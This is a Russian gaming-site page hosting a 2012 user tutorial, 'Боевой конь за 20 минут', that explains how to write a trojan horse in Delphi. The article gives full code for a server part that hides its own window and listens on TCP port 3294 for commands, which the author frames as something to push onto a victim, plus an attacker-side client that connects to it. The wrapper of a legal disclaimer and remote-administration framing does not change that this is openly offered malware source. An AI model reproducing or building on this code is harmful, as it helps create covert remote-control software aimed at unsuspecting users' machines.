Возможно вы искали: 'Robot Arena: Design & ...'

May 15 2025 18:24:35
  • Как сделать 8Gamers.Ru домашней страницей?
  • Игры
    • База данных по играх
    • Игровые новости
    • Игровая индустрия
    • Обзоры на игры
    • Прохождения игр
    • Гайды к играм
    • Превью о играх
    • Игровые тизеры
    • Игровые арты
    • Игровые обои
    • Игровые скриншоты
    • Игровые обложки
    • Игровые трейлеры
    • Игровое видео
    • Вышедшие игры
    • Ближайшие релизы игр
  • Кино и ТВ
    • База данных по кино
    • Статьи о кино
    • Постеры
    • Кадры из кино
    • Кино трейлеры
    • Сегодня в кино
    • Скоро в кино
  • Комиксы и манга
    • Манга по алфавиту
    • База данных по комиксах
    • Читать онлайн комиксы
    • Читать онлайн манга
    • База персонажей
  • Читы и коды
    • Чит-коды для PC игр
    • Чит-коды для консольных игр
    • Трейнеры
    • Коды Game Genie
  • Моддинг
    • Модификации
    • Карты к играм
    • Программы для моддинга
    • Статьи о моддинге
  • Геймдев
    • Всё о создании игр
    • Список движков
    • Утилиты в помощь игроделу
    • Конструкторы игр
    • Игровые движки
    • Библиотеки разработки
    • 3D-модели
    • Спрайты и тайлы
    • Музыка и звуки
    • Текстуры и фоны
  • Рецензии
    • Игры
    • Кино
    • Аниме
    • Комиксы
    • Мангу
    • Саундтреки
  • Саундтреки
    • Лирика
  • Файлы
    • Патчи к играм
    • Русификаторы к играм
    • Сохранения к играм
    • Субтитры к кино
  • Медиа
    • Видео
    • Фото
    • Аудио
    • Фан-арты
    • Косплей
    • Фото с виставок
    • Девушки из игр
    • Рисунки
    • Рисуем онлайн
    • Фотохостинг
  • Юмор
    • Анекдоты
    • Афоризмы
    • Истории
    • Стишки и эпиграммы
    • Тосты
    • Цитаты
  • Флеш
    • Азартные
    • Аркады
    • Бродилки
    • Гонки
    • Для девочек
    • Для мальчиков
    • Драки
    • Квесты
    • Леталки
    • Логические
    • Мультфильмы
    • Открытки
    • Приколы
    • Разное
    • Спорт
    • Стратегии
    • Стрелялки
Статистика

Статей: 87772
Просмотров: 96111483
Игры
Injustice:  Gods Among Us
Injustice: Gods Among Us
...
Dark Souls 2
Dark Souls 2
Dark Souls II - вторая часть самой хардкорной ролевой игры 2011-2012 года, с новым героем, сюжето...
Battlefield 4
Battlefield 4
Battlefield 4 - продолжение венценосного мультиплеер-ориентированного шутера от первого ли...
Кино
Steins;Gate
Steins;Gate
Любители японской анимации уже давно поняли ,что аниме сериалы могут дать порой гораздо больше пи...
Ку! Кин-дза-дза
Ку! Кин-дза-дза
Начинающий диджей Толик и всемирно известный виолончелист Владимир Чижов встречают на шумной моск...
Обзоры на игры
• Обзор Ibara [PCB/PS2] 18357
• Обзор The Walking ... 18801
• Обзор DMC: Devil M... 19879
• Обзор на игру Valk... 15877
• Обзор на игру Stars! 17764
• Обзор на Far Cry 3 17948
• Обзор на Resident ... 16024
• Обзор на Chivalry:... 17508
• Обзор на игру Kerb... 17981
• Обзор игры 007: Fr... 16619
Превью о играх
• Превью к игре Comp... 17960
• Превью о игре Mage... 14464
• Превью Incredible ... 14721
• Превью Firefall 13479
• Превью Dead Space 3 16334
• Превью о игре SimC... 14730
• Превью к игре Fuse 15442
• Превью Red Orche... 15542
• Превью Gothic 3 16343
• Превью Black & W... 17354
Главная » Статьи » Разное » Боевой конь за 20 минут

Боевой конь за 20 минут

Года три назад меня мучил вопрос, что такое «троянский конь», и как его можно сделать. После того, как я начал заниматься программированием, я долго искал информацию, но ничего стоящего не мог найти. Сегодня я попытаюсь исправить это, и описать из чего состоит, почему так назван и примеры создания «троянского коня».
Троянский конь - по греческому преданию, огромный деревянный конь, в котором спрятались ахейские воины, осаждавшие Трою (Троянская война). Троянцы, не подозревая хитрости, ввезли его в Трою. Ночью ахейцы вышли из коня и впустили в город остальное войско. Выражение "троянский конь" стало нарицательным (дар врагу с целью его погубить).
Троянский конь состоит из двух частей - клиентской и серверной. Клиентскую часть злоумышленник оставляет у себя, а серверную «впаривает» жертве. Но тут сразу меняется смысл слов клиент и сервер, так как сервер предоставляет информацию, а клиент принимает, но это все, если углубляется. В том примере который, я сегодня опишу, будут использоваться sockets Windows, то есть протокол TCP. Вообще, для таких вещей лучше использовать TCP - пускай он медленный, но надежный. Чаще всего троянских коней используют для получения подробной информации о жертве, паролей, списков контактов и т.д. Технологию троянского коня используют не только для вреда, но и для помощи. «Как?» - спросите вы. Да очень просто! Все программы для удаленного администрирования делаются по этой же технологии. Так что во всем можно найти свои плюсы и минусы.
Троянский конь должен выполнять 3 основные функции: быть невидимым для жертвы, автоматически запускаться при старте ОС (в нашем случае это операционные системы семейства Windows) и, само собой, должен выполнять команды злоумышленника. Троянский конь действует очень просто! Когда злоумышленник нажимает на кнопочку у себя в «берлоге», то он посылает простое текстовое сообщение, например «logoff», а когда это сообщение приходит к жертве, то он проверяет что выполнять, если было получено сообщение «logoff» (например, можно выполнить завершение сеанса Windows). Состав сообщения может быть абсолютно любым, по желанию программиста. Примерно год или полтора назад мне и пришла мысль написать троянский конь, так как я увидел в действии программу LanControl, замечательная программа. После того как я написал свой первый троян, он успешно служил у моего друга в локальной сети :)
Итак, теорию мы закончили, преступим к практике. Далее идущею информацию стоит использовать только в ознакомительных целях. Неправомерный доступ к компьютерной информации, карается лишением свободы на срок до пяти лет. 272 статья уголовного кодекса РФ. Мы поняли, как действует троянский конь. Теперь попробуем его написать, я буду использовать компилятор Delphi от компании Borland.
Напишем серверную часть (будет находится у жертвы). Помещаем на форму компонент Timer с вкладки System, свойство Interval ставим в положение 100, также добавляем ServerSocket с вкладки Internet, в обработчик событий OnTimer объекта Timer1 пишем следующий код:
procedure TForm1.Timer1Timer(Sender: TObject);
begin
Form1.Hide; //Процедура "спрятаться", которая скроет нашу программку.
ServerSocket1.Port:=3294; //указываем порт соединения, желательно более 1000
ServerSocket1.Active:=true; //Активируем нашего коня (сокет)
Timer1.Enabled:=false; //Отключаем таймер
end;
Теперь опишем команды для жертвы. Заходим в обработчик событий OnClientRead объекта ServerSocket1 и пишем там следующий код:
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
mess: string;
begin
mess:=socket.ReceiveText; //Записываем принятый текст в переменную mess
if mess='logoff' then
begin
ExitWindowsEx(EWX_LOGOFF,0); //Завершения сеанса, если пришло сообщение logoff
end else
begin
showmessage(mess); //выводим сообщение если оно не равно logoff
end;
end;
Теперь перейдем к части злоумышленника. Нам понадобится Edit, три Button'a, и немного желания.
Свойства button'ов заполните в соответствии со списком.
• Button1 caption := 'Подключится'
• Button2 caption := 'Завершить сеанс'
• Button3 caption := 'Отправить сообщение'
В обработчике OnClick объекта Button1 пишем следующий код:
procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Address:='XXX.XXX.XXX.XXX'; //адрес xxx, ip - адрес
ClientSocket1.Host:='XXX.XXX.XXX.XXX'; //хост xxx, ip - адрес
ClientSocket1.Active:=true; //Активируем подключение
end;
В обработчике OnClick объекта Button2 пишем следующий код:
procedure TForm1.Button2Click(Sender: TObject);
begin
ClientSocket1.Socket.SendText('logoff');
end;
В обработчике OnClick объекта Button3 пишем следующий код:
procedure TForm1.Button3Click(Sender: TObject);
begin
ClientSocket1.Socket.SendText(Edit1.Text);
end;
Вот и всё, троянский конь готов! Если вы знаете данную технологию, попробуйте создать то же самое на Winsock или сделать полноценную программу для администрирования.
На этом я свою статью завершаю. Надеюсь, что вы будете использовать технологию троянского коня не во вред. В России, конечно не дают срок за такие мелочи, максимум штраф, зато могут по голове дать так, что вы забудете, что такое троянский конь.

Рушить легко, куда сложнее созидать.
1512 Прочтений •  [Боевой конь за 20 минут] [23.08.2012] [Комментариев: 0]
Добавил: Ukraine Vova
Ссылки
HTML: 
[BB Url]: 
Похожие статьи
Название Добавил Добавлено
• Боевой конь за 20 минут Ukraine Vova 23.08.2012
Ни одного комментария? Будешь первым :).
Пожалуйста, авторизуйтесь для добавления комментария.

Проект входит в сеть сайтов «8Gamers Network»

Все права сохранены. 8Gamers.NET © 2011 - 2025

Статьи
Рецензия на Pressure
Рецензия на Pressure
Чтобы обратить на себя внимание, начинающие маленькие разработчики, как правило, уходят в жанры, ...
Рецензия на Lost Chronicles of Zerzura
Рецензия на Lost Chron...
Игры, сделанные без любви и старания, похожи на воздушный шар – оболочка есть, а внутри пусто. Lo...
Рецензия на The Bridge
Рецензия на The Bridge
«Верх» и «низ» в The Bridge — понятия относительные. Прогуливаясь под аркой, можно запросто перей...
Рецензия на SimCity
Рецензия на SimCity
Когда месяц назад состоялся релиз SimCity, по Сети прокатилось цунами народного гнева – глупые ош...
Рецензия на Strategy & Tactics: World War 2
Рецензия на Strategy &...
Название Strategy & Tactics: World War II вряд ли кому-то знакомо. Зато одного взгляда на ее скри...
Рецензия на игру Scribblenauts Unlimited
Рецензия на игру Scrib...
По сложившейся традиции в информационной карточке игры мы приводим в пример несколько похожих игр...
Рецензия на игру Walking Dead: Survival Instinct, The
Рецензия на игру Walki...
Зомби и продукция-по-лицензии — которые и сами по себе не лучшие представители игровой биосферы —...
Обратная связь | RSS | Донейт | Статистика | Команда | Техническая поддержка